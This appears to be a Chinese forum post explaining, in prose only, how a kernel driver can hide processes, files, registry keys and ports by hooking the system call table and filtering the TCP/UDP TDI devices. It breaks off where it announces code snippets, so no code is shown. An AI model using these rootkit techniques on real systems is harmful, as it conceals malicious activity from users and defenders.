超级免子可以隐藏进程.
具体自己弄了...
也可以参照下面的教程..
隐藏任意进程，目录/文件，注册表，端口

查找进程，目录/文件，注册表等操作系统将最终调用 ZwQueryDirectoryFile，ZwQuerySystemInformation，
ZwXXXValueKey 等函数。要想拦截这些函数达到隐藏目的，需先自己实现以上函数，并修改系统维护的一个
SYSCALL 表使之指向自己预先定义的函数。因 SYSCALL 表在用户层不可见，所以要写 DRIVE 在 RING 0 下
才可修改。关于如何修改已有文章详细介绍过，这里不在详述。（可以参见 sysinternals.com 或 WebCrazy 所
写的文章）。查找端口用的是 TDI 查询。TDI 导出了两个设备 \\Device\\Tcp 与 \\Device\\Udp。我们可以利
用设备过滤驱动的方法写一个 DRIVE 把这两个设备的所有 IRP 包接管过来进行处理后再传给下层驱动。以达到
隐藏任意端口的目的。上述提到的方法不是新东西，是在N年前就已经有的老技术。俺现在将它贴出来只不过为了
充实下版面，灌灌水罢了。高手们还是别看了。下面是我 DRIVE 中隐藏任意进程，目录/文件，端口代码片段。
